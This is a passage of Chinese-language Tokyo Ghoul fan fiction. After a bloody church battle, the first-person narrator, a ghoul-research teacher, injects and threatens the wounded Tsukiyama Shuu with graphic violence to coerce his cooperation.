月山习的身体瞬间从中间裂开了,暗红色的□□从断口处涌出来,沿着西装的布料往下流,滴在大理石地面上。他踉跄着后退了一步,两步,三步,彻底倒下了。
西尾锦终于爬到了西野贵未身边。
他爬过地面上拖出了一条断断续续的血痕,手指已经血肉模糊,指甲断裂了好几片。他解绳索的时候手还在发抖,血从他的指尖滴下来,滴在西野贵未手腕上,和她自己磨破的伤口混在一起。
“锦……”
她颤抖着贴上西尾锦的脸。拇指在他颧骨上反复摩挲,把血污一点一点地蹭掉。
——就像那个哭泣的德国女人。
「为什么会有人会爱上喰种呢?」
穆勒的声音再次在我耳边响起来,我站在十字架上,看着两人紧紧的抱在一起。
一个是喰种,一个是人类。一个是猎人,一个是猎物。他们之间的鸿沟,比任何文化、任何语言之间的鸿沟都要深。那是刻在基因里的对立,是写在生物本能里的矛盾,是无法被任何理性或感性跨越的深渊。
但此刻,她抱着他,像玛尔塔抱着埃里希,像母亲抱着父亲。
她的手穿过鸿沟,跨越深渊,触碰到他的脸。
shit。
真是纯爱啊。
正当我还沉浸在年轻人的爱情里时,一只手搭上了我的肩膀。
金木研不知道什么时候爬上了十字架,单膝跪在横木上,用右手和牙齿配合着一点一点地切断绑着我的绳索。
“您没事吧?”他一边咬绳子一边问,声音因为嘴里咬着麻绳而含混不清。
“还不错。”
他咬断最后一根绳子,麻绳断开的那一瞬间,我的手腕从横木上滑下来,血液猛地涌回发麻的指尖。我活动了一下僵硬的肩膀,关节发出咔嚓咔嚓的声响。
金木研搀扶着我回到地面上,他的一只眼睛还是赫眼的状态,但表情是温和的,甚至带着一点不好意思,像一个刚刚经历了一场糟糕的体育比赛的学生,对围观者感到些许抱歉。
“谢谢。”我对他说。
“应该的。”他低下头,抓了抓后脑勺的头发,“您受伤了吗?”
“只是皮外伤而已,比起那个——”我朝祭坛的方向扬了扬下巴,“你的朋友们更需要帮助。”
金木研顺着我的目光看过去。西尾锦已经彻底昏过去了,西野贵未跪在他身边,用自己的身体撑着他,不让他从台阶上滑下去。她的眼泪已经不流了,手指插在他的头发里,嘴唇贴着他的额头。董香靠在墙壁上,羽赫已经完全收回了体内,身上的伤口还在渗血,但她的眼睛是睁着的,警惕地环视着教堂、盯着我。
金木立刻朝着女孩跑去, “董香!你还好吗?让我看看你的伤——”
“我没事。”董香打断了他,强撑着站直身体,肩上的伤口随着她的动作又渗出了新的血,她连眉头都没皱一下,“先看看西尾,他快死了。”
金木研站在原地,他朝西尾锦的方向看了一眼,又回头看了看我,眼神里有一种“接下来该怎么办”的茫然。
“雾岛小姐身体不舒服吗?”我活动着手腕从十字架旁走过来,目光落在她从进门开始就苍白的脸上。
董香没有回答我,目光从我身上移开,冷冷地瞥了一眼窗外的月光。
与女孩子本人的冷漠不同,金木研的反应简直称得上是热切,立刻接过话头替她解释,“因为吃了依子同学的料理。”
“依子?”
“是董香的同学,依子同学不知道董香是喰种,经常会带亲手做的便当给董香吃,所以……”
熟悉的剧情让我莫名其妙打了个激灵。
“人类的食物会对身体造成很大负担的,雾岛小姐。”
董香警惕的看了我一眼,冷冰冰的说道,“我没事。”
然后她移开目光,看着窗外那扇彩绘玻璃窗上被月光照亮的圣子像。圣子的脸被刚才的战斗震出了一道裂纹,从额头一直延伸到下巴,正好把他的脸分成左右两半。
“你是八婆吗,金木。”
虽然董香喊的是金木的名字,但我非常确定她是在嫌我多管闲事。
金木研立刻从脖子一直红到耳根。
“我……我只是……”
“算了。”
董香打断了他,朝门口走了两步,不耐烦的催促道。
“赶快走了,西尾撑不了多久。”
金木研看了看她,又朝我点了点头,表情有歉意,有感谢,有一种“不好意思让您看到这些”的腼腆。他快步走向祭坛,和董香一起扶起昏迷的西尾锦扛在肩上。
“金木,把月山习交给我处理,可以吗?”我冲他的背影问道。
“但是,如果他再——”他看了一眼祭坛前面地上被劈成两半的月山习,他的身体还在像蛆虫一样蠕动,试图将两半身体重新连接。金木研犹豫着,生怕他再站起来伤害身边的人。
“不会的,”我说,“我保证。”
脚步声渐渐远去,教堂的门被夜风吹得轻轻晃动,发出细微的吱呀声。
终于只剩下我和月山习了。
他躺在大理石地面上,鲜血从断口处渗出来,在地面上汇成一滩正在迅速扩大的暗色水洼。他还活着,喰种被劈成两半也不会立刻死,断口处有细小的肉芽在蠕动,新生的肌肉纤维像线一样从两侧的断口伸出来,在空气中摸索着寻找彼此。但速度太慢了,他在愈合之前就会流干所有□□。
月山习看着我,嘴唇忽然动了一下,微弱的声音从他被血液呛住的喉咙里挤出来。
“…咬…”
他求我让他咬一口,一口人类血肉,他就能活。
我走过去,用鞋尖抵住他的下颌,轻轻往上一抬,他的脸偏了过来,让他的眼睛能够对准我的方向。
“月山习,你砸了我的车,还把我绑到十字架上,让我的手腕磨破了两层皮。”
我抬起红肿的手腕,在他面前晃了几圈。
“我这个人很惜命的,知不知道我都已经很久没有受伤过了,上一次受伤还是……算了,你不关心这个。”
我从外套内侧的暗袋里摸出一根针头。小小的,在月光下反射出一道细小的白光。
月山习感觉到了什么,瞳孔依然是散开的,身体却本能地开始颤抖。
“人类的药……没用……”
我把针头对着月光看了看。透明的液体在月光下呈现出极浅的蓝绿色,我用拇指轻轻推动针栓,把里面的空气排出来,直到针尖上冒出一颗小小的液珠。
“之前跟你说我是老师,确实没有骗你。我确实干的是传道授业的工作,粗略数数,已经被五六百人叫过老师了。”
我蹲下身,把针头举到他眼前,让他能够看清楚悬在针尖上的液体。
“但我任职的不是普通学校,是喰种研究学校。”
听到这个名字,月山习的脸突然变得更白了,他发出一声嘶哑的呜咽,声音随着圣子像下面的烛火灰烬一起颤抖。
“我在为GFG效力,这是你爸爸知道的事情,被我肢解过的喰种比我教过的学生还多。跟在我旁边的那个男人也不是司机,他是特等搜查官,杀掉你就像打死一只苍蝇一样简单。”
我一边说一边观察他的反应,月山习的嘴唇在发抖,肌肉已经失去了收缩的能力。针尖一点一点地逼近他的眼球,他本能地想躲,眼球向后缩,眼皮试图合上,但身体失血太多了,眼皮只来得及颤抖了几下。针尖的倒影映在他的瞳孔里,越来越近,越来越大,像一个即将坠入井水的微小月亮。
“我其实是不想救你的,你让我受了一顿莫名其妙的罪,按照以往的惯例我应该让你流干最后一滴血,彻底死在这里才对。可放任你死掉又对我没什么好处,仔细想想,你好像还是活着的时候更有用 ,所以作为报答——”
针尖抵住了他的眼球表面,角膜在针尖下微微凹陷,形成了一个极小的坑。他的眼球在这一刻完全静止了,连瞳孔的颤动都停止了。
针尖慢条斯理地刺进了他的眼球,我一字一句的说道。
”你必须答应我一个条件 。”
角膜被穿透的触感从针尖传到我手指上,月山习的眼球在被刺破的那一刻剧烈地震颤了一下,整个身体都弓了起来,后背离开地面,他的手指在地上疯狂地抓挠,喉咙里发出破碎的、不成形的呜咽。
我把针头拔出来,月山习的身体还在剧烈地颤抖,我的手指落在他额头上,把被冷汗浸湿的头发拨到一边。他的头发湿透了,黏糊糊地缠在我的手指上,体温在药效的作用下逐渐回暖。
“月山,你知道你身上最珍贵的东西是什么吗?”
他没有回答,只有右侧的瞳孔在眼眶里疯狂地转动。
“不是你那张漂亮的脸,也不是你引以为傲的姓氏。”我的手指从他的额头滑下来,沿着鼻梁,沿着人中,停在他的嘴唇旁边,“是这里。”
我捏住他的下颌,轻轻往下一压。他的下颌立刻无力地张开,露出里面整齐的牙齿和深粉色的舌头。
指腹拽住舌面的瞬间,他的整个身体都僵硬了。
“你说你是美食家,对吧?你小时候就喜欢研究这些,书房里一整面墙的记录都是你写的品尝笔记,储存了上万种不同的味道,每一种都被你反复回味、反复品评。没有那条舌头,你只是一个有钱的喰种。有了它,你才是月山习。”
我的手指收拢了一点点。他的舌头在我指间被挤压变形,舌尖的颜色变得更暗了,像一颗快要熟透了的、被捏碎了皮的葡萄。
“如果我把它割掉——”
“唔——!”
他用尽了身体里仅剩的力气挣扎了一下,脖子上的青筋暴起,喉咙里发出一声不成形的嘶喊。但他的身体太虚弱了,挣扎只持续了一秒就无力地归于平静。
“别害怕,全部割掉多可惜啊,割掉的就只是味蕾最密集的这一小段。大概从这里——到这里。”
我用另一只手在自己嘴唇前面虚虚划了一道线。
“这不会很痛,月山家的医疗资源足够让你恢复得很好,喰种的再生能力很强,大概两到三天就能长出新的舌面,但那些新长出来的味蕾……我会彻底的破坏它们,让你不会再尝到任何味道。”
我缓缓松开他的舌头,那条被捏得变了形的、带着指印的舌头像一条受了伤的蛇,小心翼翼地蜷缩回它的洞穴。我的手指在他嘴唇上慢慢抹过,把指腹上的唾液蹭干净。
“你会记得脂肪比例恰到好处的银行家的味道,记得肌肉纤维紧实得像大提琴琴弦的芭蕾舞者的味道,记得死前喝了太多浓缩咖啡所以血液里带着焦苦味的诗人的味道。你会记得他们,但你再也无法尝到他们了。以后放进嘴里的每一块肉,都会味同嚼蜡。”
他的嘴唇在我手指周围无法控制地哆嗦着,唾液从嘴角渗出来,沿着下颌流下去,滴在大理石地面上,和干涸的血液混在一起。
我低下头,嘴角弯起一个很温柔的弧度。
像母亲。像老师。像一个永远不会伤害他的人。
“所以,乖孩子,你会帮我这个忙的,对吧?”